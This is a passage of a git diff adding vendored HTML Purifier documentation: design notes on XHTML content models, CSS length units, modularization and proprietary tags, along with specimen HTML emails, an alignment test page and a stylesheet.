+The distinction between Transitional and Strict document types is somewhat
+of an anomaly in the lineage of XHTML document types (following 1.0, no
+doctypes do not have flavors: instead, modularization is used to let
+document authors vary their elements). This transition is usually quite
+straight-forward, as W3C usually deprecates attributes or elements, which
+are quite easily handled using tag and attribute transforms.
+
+However, for two elements, <blockquote>, <body> and <address>, W3C elected
+to also change the content model. <blockquote> and <body> originally
+accepted both inline and block elements, but in the strict doctype they
+only allow block elements. With <address>, the situation is inverted:
+<p> tags were now forbidden from appearing within this tag.
+
+
+2. Current situation
+
+Currently, HTML Purifier treats <blockquote> specially during Tidy mode
+using a custom ChildDef class StrictBlockquote. StrictBlockquote
+operates similarly to Required, except that when it encounters an inline
+element, it will wrap it in a block tag (as specified by
+%HTML.BlockWrapper, the default is <p>). The naming suggests it can
+only be used for <blockquote>s, although it may be possible to
+genericize it to work on other cases of this nature (this would be of
+little practical application, as no other element in XHTML 1.1 or earlier
+has a block-only content model).
+
+Tidy currently contains no custom, lenient implementation for <address>.
+If one were to be written, it would likely operate on the principle that,
+when a <p> tag were to be encountered, it would be replaced with a
+leading and trailing <br /> tag (the contents of <p>, being inline, are
+not an issue). There is no prior work with this sort of operation.
+
+
+3. Outside applicability
+
+There are a number of other elements that contain restrictive content
+models, such as <ul> or <span> (the latter is restrictive in that it
+does not allow block elements). In the former case, an errant node
+is eliminated completely, in the latter case, the text of the node
+would is preserved (as the parent node does allow PCDATA). Custom
+content model implementations probably are not the best way of handling
+these cases, instead, node bubbling should be implemented instead.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/ref-css-length.txt b/vendor/ezyang/htmlpurifier/docs/ref-css-length.txt
new file mode 100644
index 000000000..aa40559e3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/ref-css-length.txt
@@ -0,0 +1,30 @@
+
+CSS Length Reference
+ To bound, or not to bound, that is the question
+
+It's quite a reasonable request, really, and it's already been implemented
+for HTML. That is, length bounding. It makes little sense to let users
+define text blocks that have a font-size of 63,360 inches (that's a mile,
+by the way) or a width of forty-fold the parent container.
+
+But it's a little more complicated then that. There are multiple units
+one can use, and we have to a little unit conversion to get things working.
+Here's what we have:
+
+Absolute:
+ 1 in ~= 2.54 cm
+ 1 cm = 10 mm
+ 1 pt = 1/72 in
+ 1 pc = 12 pt
+
+Relative:
+ 1 em ~= 10.0667 px
+ 1 ex ~= 0.5 em, though Mozilla Firefox says 1 ex = 6px
+ 1 px ~= 1 pt
+
+Watch out: font-sizes can also be nested to get successively larger
+(although I do not relish having to keep track of context font-sizes,
+this may be necessary, especially for some of the more advanced features
+for preventing things like white on white).
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/ref-devnetwork.html b/vendor/ezyang/htmlpurifier/docs/ref-devnetwork.html
new file mode 100644
index 000000000..2e9d142e5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/ref-devnetwork.html
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="description" content="Credits and links to DevNetwork forum topics on HTML Purifier." />
+<link rel="stylesheet" type="text/css" href="./style.css" />
+
+<title>DevNetwork Credits - HTML Purifier</title>
+
+</head>
+<body>
+
+<h1>DevNetwork Credits</h1>
+
+<div id="filing">Filed under Reference</div>
+<div id="index">Return to the <a href="index.html">index</a>.</div>
+<div id="home"><a href="http://htmlpurifier.org/">HTML Purifier</a> End-User Documentation</div>
+
+<p>Many thanks to the DevNetwork community for answering questions,
+theorizing about design, and offering encouragement during
+the development of this library in these forum threads:</p>
+
+<ul>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=52905">HTMLPurifier PHP Library hompeage</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53056">How much of CSS to implement?</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53083">Parsing URL only according to URI : Security Risk?</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53096">Gimme a name : URI and friends</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53415">How to document configuration directives</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53479">IPv6</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53539">http and ftp versus news and mailto</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53579">HTMLPurifier - Take your best shot</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53664">Need help optimizing a block of code</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=53861">Non-SGML characters</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=54283">Wordpress makes me cry</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=54478">Parameter Object vs. Parameter Array vs. Parameter Functions</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=54521">Convert encoding where output cannot represent characters</a></li>
+ <li><a href="http://forums.devnetwork.net/viewtopic.php?t=56411">Reporting errors in a document without line numbers</a></li>
+</ul>
+
+<p>...as well as any I may have forgotten.</p>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/docs/ref-html-modularization.txt b/vendor/ezyang/htmlpurifier/docs/ref-html-modularization.txt
new file mode 100644
index 000000000..d26d30ada
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/ref-html-modularization.txt
@@ -0,0 +1,166 @@
+
+The Modularization of HTMLDefinition in HTML Purifier
+
+WARNING: This document was drafted before the implementation of this
+ system, and some implementation details may have evolved over time.
+
+HTML Purifier uses the modularization of XHTML
+<http://www.w3.org/TR/xhtml-modularization/> to organize the internals
+of HTMLDefinition into a more manageable and extensible fashion. Rather
+than have one super-object, HTMLDefinition is split into HTMLModules,
+each of which are responsible for defining elements, their attributes,
+and other properties (for a more indepth coverage, see
+/library/HTMLPurifier/HTMLModule.php's docblock comments). These modules
+are managed by HTMLModuleManager.
+
+Modules that we don't support but could support are:
+
+ * 5.6. Table Modules
+ o 5.6.1. Basic Tables Module [?]
+ * 5.8. Client-side Image Map Module [?]
+ * 5.9. Server-side Image Map Module [?]
+ * 5.12. Target Module [?]
+ * 5.21. Name Identification Module [deprecated]
+
+These modules would be implemented as "unsafe":
+
+ * 5.2. Core Modules
+ o 5.2.1. Structure Module
+ * 5.3. Applet Module
+ * 5.5. Forms Modules
+ o 5.5.1. Basic Forms Module
+ o 5.5.2. Forms Module
+ * 5.10. Object Module
+ * 5.11. Frames Module
+ * 5.13. Iframe Module
+ * 5.14. Intrinsic Events Module
+ * 5.15. Metainformation Module
+ * 5.16. Scripting Module
+ * 5.17. Style Sheet Module
+ * 5.19. Link Module
+ * 5.20. Base Module
+
+We will not be using W3C's XML Schemas or DTDs directly due to the lack
+of robust tools for handling them (the main problem is that all the
+current parsers are usually PHP 5 only and solely-validating, not
+correcting).
+
+This system may be generalized and ported over for CSS.
+
+== General Use-Case ==
+
+The outwards API of HTMLDefinition has been largely preserved, not
+only for backwards-compatibility but also by design. Instead,
+HTMLDefinition can be retrieved "raw", in which it loads a structure
+that closely resembles the modules of XHTML 1.1. This structure is very
+dynamic, making it easy to make cascading changes to global content
+sets or remove elements in bulk.
+
+However, once HTML Purifier needs the actual definition, it retrieves
+a finalized version of HTMLDefinition. The finalized definition involves
+processing the modules into a form that it is optimized for multiple
+calls. This final version is immutable and, even if editable, would
+be extremely hard to change.
+
+So, some code taking advantage of the XHTML modularization may look
+like this:
+
+<?php
+ $config = HTMLPurifier_Config::createDefault();
+ $def =& $config->getHTMLDefinition(true); // reference to raw
+ $def->addElement('marquee', 'Block', 'Flow', 'Common');
+ $purifier = new HTMLPurifier($config);
+ $purifier->purify($html); // now the definition is finalized
+?>
+
+== Inclusions ==
+
+One of the nice features of HTMLDefinition is that piggy-backing off
+of global attribute and content sets is extremely easy to do.
+
+=== Attributes ===
+
+HTMLModule->elements[$element]->attr stores attribute information for the
+specific attributes of $element. This is quite close to the final
+API that HTML Purifier interfaces with, but there's an important
+extra feature: attr may also contain a array with a member index zero.
+
+<?php
+ HTMLModule->elements[$element]->attr[0] = array('AttrSet');
+?>
+
+Rather than map the attribute key 0 to an array (which should be
+an AttrDef), it defines a number of attribute collections that should
+be merged into this elements attribute array.
+
+Furthermore, the value of an attribute key, attribute value pair need
+not be a fully fledged AttrDef object. They can also be a string, which
+signifies a AttrDef that is looked up from a centralized registry
+AttrTypes. This allows more concise attribute definitions that look
+more like W3C's declarations, as well as offering a centralized point
+for modifying the behavior of one attribute type. And, of course, the
+old method of manually instantiating an AttrDef still works.
+
+=== Attribute Collections ===
+
+Attribute collections are stored and processed in the AttrCollections
+object, which is responsible for performing the inclusions signified
+by the 0 index. These attribute collections, too, are mutable, by
+using HTMLModule->attr_collections. You may add new attributes
+to a collection or define an entirely new collection for your module's
+use. Inclusions can also be cumulative.
+
+Attribute collections allow us to get rid of so called "global attributes"
+(which actually aren't so global).
+
+=== Content Models and ChildDef ===
+
+An implementation of the above-mentioned attributes and attribute
+collections was applied to the ChildDef system. HTML Purifier uses
+a proprietary system called ChildDef for performance and flexibility
+reasons, but this does not line up very well with W3C's notion of
+regexps for defining the allowed children of an element.
+
+HTMLPurifier->elements[$element]->content_model and
+HTMLPurifier->elements[$element]->content_model_type store information
+about the final ChildDef that will be stored in
+HTMLPurifier->elements[$element]->child (we use a different variable
+because the two forms are sufficiently different).
+
+$content_model is an abstract, string representation of the internal
+state of ChildDef, while $content_model_type is a string identifier
+of which ChildDef subclass to instantiate. $content_model is processed
+by substituting all content set identifiers (capitalized element names)
+with their contents. It is then parsed and passed into the appropriate
+ChildDef class, as defined by the ContentSets->getChildDef() or the
+custom fallback HTMLModule->getChildDef() for custom child definitions
+not in the core.
+
+You'll need to use these facilities if you plan on referencing a content
+set like "Inline" or "Block", and using them is recommended even if you're
+not due to their conciseness.
+
+A few notes on $content_model: it's structure can be as complicated
+as you want, but the pipe symbol (|) is reserved for defining possible
+choices, due to the content sets implementation. For example, a content
+model that looks like:
+
+"Inline -> Block -> a"
+
+...when the Inline content set is defined as "span | b" and the Block
+content set is defined as "div | blockquote", will expand into:
+
+"span | b -> div | blockquote -> a"
+
+The custom HTMLModule->getChildDef() function will need to be able to
+then feed this information to ChildDef in a usable manner.
+
+=== Content Sets ===
+
+Content sets can be altered using HTMLModule->content_sets, an associative
+array of content set names to content set contents. If the content set
+already exists, your values are appended on to it (great for, say,
+registering the font tag as an inline element), otherwise it is
+created. They are substituted into content_model.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/ref-proprietary-tags.txt b/vendor/ezyang/htmlpurifier/docs/ref-proprietary-tags.txt
new file mode 100644
index 000000000..5849eb04d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/ref-proprietary-tags.txt
@@ -0,0 +1,26 @@
+
+Proprietary Tags
+ <nobr> and friends
+
+Here are some proprietary tags that W3C does not define but occasionally show
+up in the wild. We have only included tags that would make sense in an
+HTML Purifier context.
+
+<align>, block element that aligns (extremely rare)
+<blackface>, inline that double-bolds text (extremely rare)
+<comment>, hidden comment for IE and WebTV
+<multicol cols=number gutter=pixels width=pixels>, multiple columns
+<nobr>, no linebreaks
+<spacer align=* type="vertical|horizontal|block">, whitespace in doc,
+ use width/height for block and size for vertical/horizontal (attributes)
+ (extremely rare)
+<wbr>, potential word break point: allows linebreaks. Only works in <nobr>
+
+<listing>, monospace pre-variant (extremely rare)
+<plaintext>, escapes all tags to the end of document
+<xmp>, monospace, replace with pre
+
+These should be put into their own Tidy module, not loaded by default(?). These
+all qualify as "lenient" transforms.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/ref-whatwg.txt b/vendor/ezyang/htmlpurifier/docs/ref-whatwg.txt
new file mode 100644
index 000000000..4bb4984f2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/ref-whatwg.txt
@@ -0,0 +1,26 @@
+
+Web Hypertext Application Technology Working Group
+ WHATWG
+
+== HTML 5 ==
+
+URL: http://www.whatwg.org/specs/web-apps/current-work/
+
+HTML 5 defines a kaboodle of new elements and attributes, as well as
+some well-defined, "quirks mode" HTML parsing. Although WHATWG professes
+to be targeted towards web applications, many of their semantic additions
+would be quite useful in regular documents. Eventually, HTML
+Purifier will need to audit their lists and figure out what changes need
+to be made. This process is complicated by the fact that the WHATWG
+doesn't buy into W3C's modularization of XHTML 1.1: we may need
+to remodularize HTML 5 (probably done by section name). No sense in
+committing ourselves till the spec stabilizes, though.
+
+More immediately speaking though, however, is the well-defined parsing
+behavior that HTML 5 adds. While I have little interest in writing
+another DirectLex parser, other parsers like ph5p
+<http://jero.net/lab/ph5p/> can be adapted to DOMLex to support much more
+flexible HTML parsing (a cool feature I've seen is how they resolve
+<b>bold<i>both</b>italic</i>).
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/LICENSE b/vendor/ezyang/htmlpurifier/docs/specimens/LICENSE
new file mode 100644
index 000000000..0bfad771e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/specimens/LICENSE
@@ -0,0 +1,10 @@
+Licensing of Specimens
+
+Some files in this directory have different licenses:
+
+windows-live-mail-desktop-beta.html - donated by laacz, public domain
+img.png - LGPL, from <http://commons.wikimedia.org/wiki/Image:Pastille_chrome.png>
+
+All other files are by me, and are licensed under LGPL.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/html-align-to-css.html b/vendor/ezyang/htmlpurifier/docs/specimens/html-align-to-css.html
new file mode 100644
index 000000000..0adf76aaa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/specimens/html-align-to-css.html
@@ -0,0 +1,165 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+<head>
+<title>HTML align attribute to CSS - HTML Purifier Specimen</title>
+<style type="text/css">
+div.container {position:relative;height:110px;}
+div.container.legend .test {text-align:center;line-height:100px;}
+div.test {width:100px;height:100px;border:1px solid black;
+position:absolute;top:10px;}
+div.test.html {left:10px;}
+div.test.css {left:140px;}
+table {background:#F00;}
+img {border:1px solid #000;}
+hr {width:50px;}
+div.segment {width:250px; float:left; margin-top:1em;}
+</style>
+</head>
+<body>
+
+<h1>HTML align attribute to CSS</h1>
+
+<p>Inspect source for methodology.</p>
+
+<div class="container legend">
+<div class="test html">
+ HTML
+</div>
+<div class="test css">
+ CSS
+</div>
+</div>
+
+<div class="segment">
+
+<h2>table.align</h2>
+
+<h3>left</h3>
+<div class="container">
+<div class="test html">
+ a<table align="left"><tr><td>O</td></tr></table>a
+</div>
+<div class="test css">
+ a<table style="float:left;"><tr><td>O</td></tr></table>a
+</div>
+</div>
+
+<h3>center</h3>
+<div class="container">
+<div class="test html">
+ a<table align="center"><tr><td>O</td></tr></table>a
+</div>
+<div class="test css">
+ a<table style="margin-left:auto; margin-right:auto;"><tr><td>O</td></tr></table>a
+</div>
+</div>
+
+<h3>right</h3>
+<div class="container">
+<div class="test html">
+ a<table align="right"><tr><td>O</td></tr></table>a
+</div>
+<div class="test css">
+ a<table style="float:right;"><tr><td>O</td></tr></table>a
+</div>
+</div>
+
+</div>
+
+<!-- ################################################################## -->
+
+<div class="segment">
+<h2>img.align</h2>
+<h3>left</h3>
+<div class="container">
+<div class="test html">
+ a<img src="img.png" align="left">a
+</div>
+<div class="test css">
+ a<img src="img.png" style="float:left;">a
+</div>
+</div>
+
+<h3>right</h3>
+<div class="container">
+<div class="test html">
+ a<img src="img.png" align="right">a
+</div>
+<div class="test css">
+ a<img src="img.png" style="float:right;">a
+</div>
+</div>
+
+<h3>bottom</h3>
+<div class="container">
+<div class="test html">
+ a<img src="img.png" align="bottom">a
+</div>
+<div class="test css">
+ a<img src="img.png" style="vertical-align:baseline;">a
+</div>
+</div>
+
+<h3>middle</h3>
+<div class="container">
+<div class="test html">
+ a<img src="img.png" align="middle">a
+</div>
+<div class="test css">
+ a<img src="img.png" style="vertical-align:middle;">a
+</div>
+</div>
+
+<h3>top</h3>
+<div class="container">
+<div class="test html">
+ a<img src="img.png" align="top">a
+</div>
+<div class="test css">
+ a<img src="img.png" style="vertical-align:top;">a
+</div>
+</div>
+
+</div>
+
+<!-- ################################################################## -->
+
+<div class="segment">
+
+<h2>hr.align</h2>
+
+<h3>left</h3>
+<div class="container">
+<div class="test html">
+ <hr align="left" />
+</div>
+<div class="test css">
+ <hr style="margin-right:auto; margin-left:0; text-align:left;" />
+</div>
+</div>
+
+<h3>center</h3>
+<div class="container">
+<div class="test html">
+ <hr align="center" />
+</div>
+<div class="test css">
+ <hr style="margin-right:auto; margin-left:auto; text-align:center;" />
+</div>
+</div>
+
+<h3>right</h3>
+<div class="container">
+<div class="test html">
+ <hr align="right" />
+</div>
+<div class="test css">
+ <hr style="margin-right:0; margin-left:auto; text-align:right;" />
+</div>
+</div>
+
+</div>
+
+</body>
+</html>
diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/img.png b/vendor/ezyang/htmlpurifier/docs/specimens/img.png
new file mode 100644
index 000000000..a755bcb5e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/specimens/img.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html b/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html
new file mode 100644
index 000000000..1cc08f888
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/specimens/jochem-blok-word.html
@@ -0,0 +1,129 @@
+<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40">
+
+<head>
+<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
+<meta name=Generator content="Microsoft Word 12 (filtered medium)">
+<!--[if !mso]>
+<style>
+v\:* {behavior:url(#default#VML);}
+o\:* {behavior:url(#default#VML);}
+w\:* {behavior:url(#default#VML);}
+..shape {behavior:url(#default#VML);}
+</style>
+<![endif]-->
+<style>
+<!--
+ /* Font Definitions */
+ @font-face
+ {font-family:"Cambria Math";
+ panose-1:2 4 5 3 5 4 6 3 2 4;}
+@font-face
+ {font-family:Calibri;
+ panose-1:2 15 5 2 2 2 4 3 2 4;}
+@font-face
+ {font-family:Tahoma;
+ panose-1:2 11 6 4 3 5 4 4 2 4;}
+@font-face
+ {font-family:Verdana;
+ panose-1:2 11 6 4 3 5 4 4 2 4;}
+ /* Style Definitions */
+ p.MsoNormal, li.MsoNormal, div.MsoNormal
+ {margin:0cm;
+ margin-bottom:.0001pt;
+ font-size:10.0pt;
+ font-family:"Verdana","sans-serif";}
+a:link, span.MsoHyperlink
+ {mso-style-priority:99;
+ color:blue;
+ text-decoration:underline;}
+a:visited, span.MsoHyperlinkFollowed
+ {mso-style-priority:99;
+ color:purple;
+ text-decoration:underline;}
+p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
+ {mso-style-priority:99;
+ mso-style-link:"Balloon Text Char";
+ margin:0cm;
+ margin-bottom:.0001pt;
+ font-size:8.0pt;
+ font-family:"Tahoma","sans-serif";}
+span.EmailStyle17
+ {mso-style-type:personal-compose;
+ font-family:"Verdana","sans-serif";
+ color:windowtext;}
+span.BalloonTextChar
+ {mso-style-name:"Balloon Text Char";
+ mso-style-priority:99;
+ mso-style-link:"Balloon Text";
+ font-family:"Tahoma","sans-serif";}
+..MsoChpDefault
+ {mso-style-type:export-only;}
+@page Section1
+ {size:612.0pt 792.0pt;
+ margin:70.85pt 70.85pt 70.85pt 70.85pt;}
+div.Section1
+ {page:Section1;}
+-->
+</style>
+<!--[if gte mso 9]><xml>
+ <o:shapedefaults v:ext="edit" spidmax="2050" />
+</xml><![endif]--><!--[if gte mso 9]><xml>
+ <o:shapelayout v:ext="edit">
+ <o:idmap v:ext="edit" data="1" />
+ </o:shapelayout></xml><![endif]-->
+</head>
+
+<body lang=NL link=blue vlink=purple>
+
+<div class=Section1>
+
+<p class=MsoNormal><img width=1277 height=994 id="Picture_x0020_1"
+src="cid:image001.png@01C8CBDF.5D1BAEE0"><o:p></o:p></p>
+
+<p class=MsoNormal><o:p>&nbsp;</o:p></p>
+
+<p class=MsoNormal><b>Name<o:p></o:p></b></p>
+
+<p class=MsoNormal>E-mail : <a href="mailto:mail@example.com"><span
+style='color:windowtext'>mail@example.com</span></a><o:p></o:p></p>
+
+<p class=MsoNormal><o:p>&nbsp;</o:p></p>
+
+<p class=MsoNormal><b>Company<o:p></o:p></b></p>
+
+<p class=MsoNormal>Address 1<o:p></o:p></p>
+
+<p class=MsoNormal>Address 2<o:p></o:p></p>
+
+<p class=MsoNormal><o:p>&nbsp;</o:p></p>
+
+<p class=MsoNormal>Telefoon&nbsp; : +xx xx xxx xxx xx <span style='color:black'><o:p></o:p></span></p>
+
+<p class=MsoNormal><span lang=EN-US style='color:black'>Fax&nbsp; : +xx xx xxx xx xx<o:p></o:p></span></p>
+
+<p class=MsoNormal><span lang=EN-US style='color:black'>Internet : </span><span
+style='color:black'><a href="http://www.example.com/"><span lang=EN-US
+style='color:black'>http://www.example.com</span></a></span><span
+lang=EN-US style='color:black'><o:p></o:p></span></p>
+
+<p class=MsoNormal><span lang=EN-US style='color:black'>Kamer van koophandel
+xxxxxxxxx<o:p></o:p></span></p>
+
+<p class=MsoNormal><span lang=EN-US style='color:black'><o:p>&nbsp;</o:p></span></p>
+
+<p class=MsoNormal><span lang=EN-US style='font-size:7.5pt;color:black'>Op deze
+e-mail is een disclaimer van toepassing, ga naar </span><span lang=EN-US
+style='font-size:7.5pt'><a
+href="http://www.example.com/disclaimer"><span
+style='color:black'>www.example.com/disclaimer</span></a><br>
+<span style='color:black'>A disclaimer is applicable to this email, please
+refer to </span><a href="http://www.example.com/disclaimer"><span
+style='color:black'>www.example.com/disclaimer</span></a><o:p></o:p></span></p>
+
+<p class=MsoNormal><span lang=EN-US><o:p>&nbsp;</o:p></span></p>
+
+</div>
+
+</body>
+
+</html>
diff --git a/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html
new file mode 100644
index 000000000..735b4bd95
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html
@@ -0,0 +1,74 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML ChildAreas="4" xmlns:canvas><HEAD>
+<META http-equiv=Content-Type content=text/html;charset=windows-1257>
+<STYLE></STYLE>
+
+<META content="MSHTML 6.00.6000.16414" name=GENERATOR></HEAD>
+<BODY id=MailContainerBody
+style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; FONT-SIZE: 10pt; COLOR: #000000; PADDING-TOP: 15px; FONT-FAMILY: Arial"
+bgColor=#ff6600 leftMargin=0 background="" topMargin=0
+name="Compose message area" acc_role="text" CanvasTabStop="false">
+<DIV
+style="BORDER-TOP: #dddddd 1px solid; FONT-SIZE: 10pt; WIDTH: 100%; MARGIN-RIGHT: 10px; PADDING-TOP: 5px; BORDER-BOTTOM: #dddddd 1px solid; FONT-FAMILY: Verdana; HEIGHT: 25px; BACKGROUND-COLOR: #ffffff"><NOBR><SPAN
+title="View a slideshow of the pictures in this e-mail message."
+style="PADDING-RIGHT: 20px"><A style="COLOR: #0088e4"
+href="http://g.msn.com/5meen_us/171?path=/photomail/{6fc0065f-ffdd-4ca6-9a4c-cc5a93dc122f}&amp;image=47D7B182CFEFB10!127&amp;imagehi=47D7B182CFEFB10!125&amp;CID=323550092004883216">Play
+slideshow </A></SPAN><SPAN style="COLOR: #909090"><SPAN>|</SPAN><SPAN
+style="PADDING-LEFT: 20px"> Download the highest quality version of a picture by
+clicking the + above it </SPAN></SPAN></NOBR></DIV>
+<DIV
+style="PADDING-RIGHT: 5px; PADDING-LEFT: 7px; PADDING-BOTTOM: 2px; WIDTH: 100%; PADDING-TOP: 2px">
+<OL>
+ <LI><IMG title="Angry smile emoticon"
+ style="FLOAT: none; MARGIN: 0px; POSITION: static" tabIndex=-1
+ alt="Angry smile emoticon" src="cid:49F0C856199E4D688D2D740680733D74@wc"
+ MSNNonUserImageOrEmoticon="true">Un ka <FONT style="BACKGROUND-COLOR: #800000"
+ color=#cc99ff><STRONG>Tev</STRONG></FONT> iet, un ko tu dari?
+ <LI>Aha!</LI></OL>
+
+<UL>
+ <LI>Buletets
+ <LI>
+ <DIV align=justify><A title=http://laacz.lv/blog/
+ href="http://laacz.lv/blog/">http://laacz.lv/blog/</A> un <A
+ title=http://google.com/ href="http://google.com/">gugle</A></DIV>
+ <LI>Sarakstucitis</LI></UL></DIV><SPAN><SPAN xmlns:canvas="canvas-namespace-id"
+layoutEmptyTextWellFont="Tahoma"><SPAN
+style="MARGIN-BOTTOM: 15px; OVERFLOW: visible; HEIGHT: 16px"></SPAN><SPAN
+style="MARGIN-BOTTOM: 25px; VERTICAL-ALIGN: top; OVERFLOW: visible; MARGIN-RIGHT: 25px; HEIGHT: 234px">
+<TABLE style="DISPLAY: inline">
+ <TBODY>
+ <TR>
+
+ <TD>
+ <DIV
+ style="FONT-WEIGHT: bold; FONT-SIZE: 12pt; FONT-FAMILY: arial; TEXT-ALIGN: center"><A
+ id=HiresARef
+ title="Click here to view or download a high resolution version of this picture"
+ style="COLOR: #0088e4; TEXT-DECORATION: none"
+ href="http://byfiles.storage.msn.com/x1pMvt0I80jTgT6DuaCpEMbprX3nk3jNv_vjigxV_EYVSMyM_PKgEvDEUtuNhQC-F-23mTTcKyqx6eGaeK2e_wMJ0ikwpDdFntk4SY7pfJUv2g2Ck6R2S2vAA?download">+</A></DIV>
+ <DIV
+ title="Click here to view the full image using the online photo viewer."
+ style="DISPLAY: inline; OVERFLOW: hidden; WIDTH: 140px; HEIGHT: 140px"><A
+ href="http://g.msn.com/5meen_us/171?path=/photomail/{6fc0065f-ffdd-4ca6-9a4c-cc5a93dc122f}&amp;image=47D7B182CFEFB10!127&amp;imagehi=47D7B182CFEFB10!125&amp;CID=323550092004883216"
+ border="0"><IMG
+ style="MARGIN-TOP: 15px; DISPLAY: inline-block; MARGIN-LEFT: 0px"
+ height=109 src="cid:006A71303B80404E9FB6184E55D6A446@wc" width=140
+ border=0></A></DIV></TD></TR>
+ <TR>
+ <TD>
+ <DIV
+ style="FONT-SIZE: 10pt; WIDTH: 140px; FONT-FAMILY: verdana; TEXT-ALIGN: center"><EM><STRONG>This
+ <U>is </U></STRONG><U>tit</U>le</EM> fo<STRONG>r <FONT
+ face="Arial Black">t<FONT color=#800000 size=7>h<U>i</U></FONT>s
+ </FONT>picture</STRONG></DIV></TD></TR></TBODY></TABLE></SPAN></SPAN></SPAN>
+
+<DIV
+style="PADDING-RIGHT: 5px; PADDING-LEFT: 7px; PADDING-BOTTOM: 2px; WIDTH: 100%; PADDING-TOP: 2px; HEIGHT: 50px">
+<DIV>&nbsp;</DIV></DIV>
+<DIV
+style="BORDER-TOP: #dddddd 1px solid; FONT-SIZE: 10pt; MARGIN-BOTTOM: 10px; WIDTH: 100%; COLOR: #909090; MARGIN-RIGHT: 10px; PADDING-TOP: 9px; FONT-FAMILY: Verdana; HEIGHT: 42px; BACKGROUND-COLOR: #ffffff"><NOBR><SPAN
+title="Join Windows Live to share photos using Windows Live Photo E-mail.">Online
+pictures are available for 30 days. <A style="COLOR: #0088e4"
+href="http://g.msn.com/5meen_us/175">Get Windows Live Mail desktop to create
+your own photo e-mails. </A></SPAN></NOBR></DIV></BODY></HTML>
diff --git a/vendor/ezyang/htmlpurifier/docs/style.css b/vendor/ezyang/htmlpurifier/docs/style.css
new file mode 100644
index 000000000..bd79c8a00
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/docs/style.css
@@ -0,0 +1,76 @@
+html {font-size:1em; font-family:serif; }
+body {margin-left:4em; margin-right:4em; }
+
+dt {font-weight:bold; }
+pre {margin-left:2em; }
+pre, code, tt {font-family:monospace; font-size:1em; }
+
+h1 {text-align:center; font-family:Garamond, serif;
+ font-variant:small-caps;}
+h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal;
+ font-size:1.3em;}
+h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; }
+h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; }
+
+/* For witty quips */
+.subtitled {margin-bottom:0em;}
+.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em;
+ font-style:italic; margin-top:-.2em;text-align:center;}
+.subsubtitle {text-align:left;margin-left:2em;}
+
+/* Used for special "See also" links. */
+.reference {font-style:italic;margin-left:2em;}
+
+/* Marks off asides, discussions on why something is the way it is */
+.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; }
+blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em;
+ border-bottom:1px solid #CCC;}
+.emphasis {font-weight:bold; text-align:center; font-size:1.3em;}
+
+/* A regular table */
+.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; }
+.table thead th {margin:0; background:#888; color:#FFF; }
